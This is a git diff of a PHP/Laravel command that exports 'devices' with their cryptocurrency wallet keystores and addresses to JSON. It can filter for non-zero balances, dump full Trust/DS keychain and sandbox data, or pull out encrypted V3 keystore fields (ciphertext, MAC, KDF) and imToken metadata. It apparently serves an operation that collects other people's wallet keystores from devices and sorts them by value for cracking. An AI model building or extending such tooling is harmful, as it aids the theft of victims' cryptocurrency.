fix: db
This commit is contained in:
@@ -10,10 +10,14 @@ use Illuminate\Support\Facades\DB;
|
|||||||
|
|
||||||
class ExportKeystoreDevicesCommand extends Command
|
class ExportKeystoreDevicesCommand extends Command
|
||||||
{
|
{
|
||||||
|
/** Skip JSON_EXTRACT on Trust/DS dumps larger than this (bytes). */
|
||||||
|
private const COMPACT_MAX_BYTES = 262144;
|
||||||
|
|
||||||
protected $signature = 'coruna:export-keystore-devices
|
protected $signature = 'coruna:export-keystore-devices
|
||||||
{--path= : Output JSON file (default storage/app/keystore-devices-*.json)}
|
{--path= : Output JSON file (default storage/app/keystore-devices-*.json)}
|
||||||
{--with-balance : Only devices that have at least one address with a non-zero coin}
|
{--with-balance : Only devices that have at least one address with a non-zero coin}
|
||||||
{--no-raw : Omit keystore raw_json blobs}';
|
{--no-raw : Omit keystore bodies entirely}
|
||||||
|
{--full-raw : Dump entire raw_json (Trust/DS keychain+sandbox, can be many GB)}';
|
||||||
|
|
||||||
protected $description = 'Export devices that have both a keystore and wallet addresses';
|
protected $description = 'Export devices that have both a keystore and wallet addresses';
|
||||||
|
|
||||||
@@ -33,13 +37,13 @@ class ExportKeystoreDevicesCommand extends Command
|
|||||||
}
|
}
|
||||||
|
|
||||||
$ids = $this->deviceQuery()->orderBy('id')->pluck('id');
|
$ids = $this->deviceQuery()->orderBy('id')->pluck('id');
|
||||||
$includeRaw = ! $this->option('no-raw');
|
$mode = $this->rawMode();
|
||||||
$flags = JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES;
|
$flags = JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES;
|
||||||
|
|
||||||
fwrite($fh, "{\n");
|
fwrite($fh, "{\n");
|
||||||
fwrite($fh, ' "exported_at": '.json_encode(now()->toIso8601String(), $flags).",\n");
|
fwrite($fh, ' "exported_at": '.json_encode(now()->toIso8601String(), $flags).",\n");
|
||||||
fwrite($fh, ' "with_balance": '.($this->option('with-balance') ? 'true' : 'false').",\n");
|
fwrite($fh, ' "with_balance": '.($this->option('with-balance') ? 'true' : 'false').",\n");
|
||||||
fwrite($fh, ' "include_raw": '.($includeRaw ? 'true' : 'false').",\n");
|
fwrite($fh, ' "raw_mode": '.json_encode($mode, $flags).",\n");
|
||||||
fwrite($fh, ' "device_count": '.$ids->count().",\n");
|
fwrite($fh, ' "device_count": '.$ids->count().",\n");
|
||||||
fwrite($fh, ' "devices": ['."\n");
|
fwrite($fh, ' "devices": ['."\n");
|
||||||
|
|
||||||
@@ -55,7 +59,7 @@ class ExportKeystoreDevicesCommand extends Command
|
|||||||
fwrite($fh, ",\n");
|
fwrite($fh, ",\n");
|
||||||
}
|
}
|
||||||
$first = false;
|
$first = false;
|
||||||
$this->writeDevice($fh, $device, $includeRaw, $flags);
|
$this->writeDevice($fh, $device, $mode, $flags);
|
||||||
unset($device);
|
unset($device);
|
||||||
gc_collect_cycles();
|
gc_collect_cycles();
|
||||||
}
|
}
|
||||||
@@ -68,6 +72,18 @@ class ExportKeystoreDevicesCommand extends Command
|
|||||||
return self::SUCCESS;
|
return self::SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private function rawMode(): string
|
||||||
|
{
|
||||||
|
if ($this->option('no-raw')) {
|
||||||
|
return 'none';
|
||||||
|
}
|
||||||
|
if ($this->option('full-raw')) {
|
||||||
|
return 'full';
|
||||||
|
}
|
||||||
|
|
||||||
|
return 'v3';
|
||||||
|
}
|
||||||
|
|
||||||
private function resolvePath(): ?string
|
private function resolvePath(): ?string
|
||||||
{
|
{
|
||||||
$path = trim((string) $this->option('path'));
|
$path = trim((string) $this->option('path'));
|
||||||
@@ -103,11 +119,9 @@ class ExportKeystoreDevicesCommand extends Command
|
|||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Stream one device object. Never json_decode keystore blobs.
|
|
||||||
*
|
|
||||||
* @param resource $fh
|
* @param resource $fh
|
||||||
*/
|
*/
|
||||||
private function writeDevice($fh, Device $device, bool $includeRaw, int $flags): void
|
private function writeDevice($fh, Device $device, string $mode, int $flags): void
|
||||||
{
|
{
|
||||||
$ksMeta = DB::table('wallet_keystores')
|
$ksMeta = DB::table('wallet_keystores')
|
||||||
->where('device_id', $device->id)
|
->where('device_id', $device->id)
|
||||||
@@ -143,7 +157,7 @@ class ExportKeystoreDevicesCommand extends Command
|
|||||||
fwrite($fh, ',');
|
fwrite($fh, ',');
|
||||||
}
|
}
|
||||||
$ksFirst = false;
|
$ksFirst = false;
|
||||||
$this->writeKeystore($fh, (int) $row->id, (string) $row->source, (int) $row->decrypted, (string) $row->created_at, $includeRaw, $flags);
|
$this->writeKeystore($fh, (int) $row->id, (string) $row->source, (int) $row->decrypted, (string) $row->created_at, $mode, $flags);
|
||||||
}
|
}
|
||||||
fwrite($fh, ']}');
|
fwrite($fh, ']}');
|
||||||
|
|
||||||
@@ -158,22 +172,88 @@ class ExportKeystoreDevicesCommand extends Command
|
|||||||
/**
|
/**
|
||||||
* @param resource $fh
|
* @param resource $fh
|
||||||
*/
|
*/
|
||||||
private function writeKeystore($fh, int $id, string $source, int $decrypted, string $createdAt, bool $includeRaw, int $flags): void
|
private function writeKeystore($fh, int $id, string $source, int $decrypted, string $createdAt, string $mode, int $flags): void
|
||||||
{
|
{
|
||||||
|
$len = (int) (DB::table('wallet_keystores')->where('id', $id)->selectRaw('LENGTH(raw_json) as n')->value('n') ?? 0);
|
||||||
$meta = [
|
$meta = [
|
||||||
'id' => $id,
|
'id' => $id,
|
||||||
'source' => $source,
|
'source' => $source,
|
||||||
'decrypted' => $decrypted,
|
'decrypted' => $decrypted,
|
||||||
'created_at' => $createdAt !== '' ? $createdAt : null,
|
'created_at' => $createdAt !== '' ? $createdAt : null,
|
||||||
|
'raw_json_len' => $len,
|
||||||
];
|
];
|
||||||
if (! $includeRaw) {
|
if ($mode === 'none') {
|
||||||
$len = (int) (DB::table('wallet_keystores')->where('id', $id)->selectRaw('LENGTH(raw_json) as n')->value('n') ?? 0);
|
fwrite($fh, (string) json_encode($meta, $flags));
|
||||||
$meta['raw_json_len'] = $len;
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if ($mode === 'full') {
|
||||||
|
$this->writeFullRaw($fh, $id, $meta, $flags);
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->writeCompactV3($fh, $id, $len, $meta, $flags);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param resource $fh
|
||||||
|
* @param array<string, mixed> $meta
|
||||||
|
*/
|
||||||
|
private function writeCompactV3($fh, int $id, int $len, array $meta, int $flags): void
|
||||||
|
{
|
||||||
|
if ($len > self::COMPACT_MAX_BYTES) {
|
||||||
|
$meta['omitted'] = 'sandbox_or_keychain';
|
||||||
fwrite($fh, (string) json_encode($meta, $flags));
|
fwrite($fh, (string) json_encode($meta, $flags));
|
||||||
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
$row = DB::selectOne(
|
||||||
|
"select
|
||||||
|
json_extract(raw_json, '$.crypto') as crypto,
|
||||||
|
json_unquote(json_extract(raw_json, '$.id')) as ks_id,
|
||||||
|
json_unquote(json_extract(raw_json, '$.type')) as ks_type,
|
||||||
|
json_unquote(json_extract(raw_json, '$.address')) as address,
|
||||||
|
json_unquote(json_extract(raw_json, '$.derivationPath')) as derivation_path,
|
||||||
|
json_extract(raw_json, '$.version') as version,
|
||||||
|
json_extract(raw_json, '$.imTokenMeta') as imtoken_meta,
|
||||||
|
json_extract(raw_json, '$.encOriginal') as enc_original,
|
||||||
|
json_extract(raw_json, '$.identity') as identity
|
||||||
|
from wallet_keystores where id = ?",
|
||||||
|
[$id],
|
||||||
|
);
|
||||||
|
|
||||||
|
$crypto = $this->mysqlJson($row->crypto ?? null);
|
||||||
|
if (! is_array($crypto) || ! isset($crypto['ciphertext'], $crypto['mac'], $crypto['kdf'])) {
|
||||||
|
$meta['omitted'] = 'not_v3';
|
||||||
|
fwrite($fh, (string) json_encode($meta, $flags));
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$v3 = array_filter([
|
||||||
|
'id' => $this->mysqlScalar($row->ks_id ?? null),
|
||||||
|
'type' => $this->mysqlScalar($row->ks_type ?? null),
|
||||||
|
'address' => $this->mysqlScalar($row->address ?? null),
|
||||||
|
'derivationPath' => $this->mysqlScalar($row->derivation_path ?? null),
|
||||||
|
'version' => $this->mysqlScalar($row->version ?? null),
|
||||||
|
'crypto' => $crypto,
|
||||||
|
'imTokenMeta' => $this->mysqlJson($row->imtoken_meta ?? null),
|
||||||
|
'encOriginal' => $this->mysqlJson($row->enc_original ?? null),
|
||||||
|
'identity' => $this->mysqlJson($row->identity ?? null),
|
||||||
|
], static fn ($v) => $v !== null && $v !== '');
|
||||||
|
|
||||||
|
$meta['v3'] = $v3;
|
||||||
|
fwrite($fh, (string) json_encode($meta, $flags));
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param resource $fh
|
||||||
|
* @param array<string, mixed> $meta
|
||||||
|
*/
|
||||||
|
private function writeFullRaw($fh, int $id, array $meta, int $flags): void
|
||||||
|
{
|
||||||
$blob = DB::selectOne(
|
$blob = DB::selectOne(
|
||||||
'select convert(cast(raw_json as char character set utf8mb4) using utf8mb4) as raw_json from wallet_keystores where id = ?',
|
'select convert(cast(raw_json as char character set utf8mb4) using utf8mb4) as raw_json from wallet_keystores where id = ?',
|
||||||
[$id],
|
[$id],
|
||||||
@@ -199,6 +279,34 @@ class ExportKeystoreDevicesCommand extends Command
|
|||||||
gc_collect_cycles();
|
gc_collect_cycles();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private function mysqlJson(mixed $value): ?array
|
||||||
|
{
|
||||||
|
if (is_array($value)) {
|
||||||
|
return $value;
|
||||||
|
}
|
||||||
|
if (! is_string($value) || $value === '' || $value === 'null') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
$decoded = json_decode($value, true);
|
||||||
|
|
||||||
|
return is_array($decoded) ? $decoded : null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function mysqlScalar(mixed $value): mixed
|
||||||
|
{
|
||||||
|
if ($value === null || $value === 'null') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
if (is_string($value) && $value !== '' && ($value[0] === '"' || $value[0] === '{' || $value[0] === '[')) {
|
||||||
|
$decoded = json_decode($value, true);
|
||||||
|
if (json_last_error() === JSON_ERROR_NONE) {
|
||||||
|
return $decoded;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return $value;
|
||||||
|
}
|
||||||
|
|
||||||
private function looksLikeJson(string $raw): bool
|
private function looksLikeJson(string $raw): bool
|
||||||
{
|
{
|
||||||
$trim = ltrim($raw);
|
$trim = ltrim($raw);
|
||||||
|
|||||||
Reference in New Issue
Block a user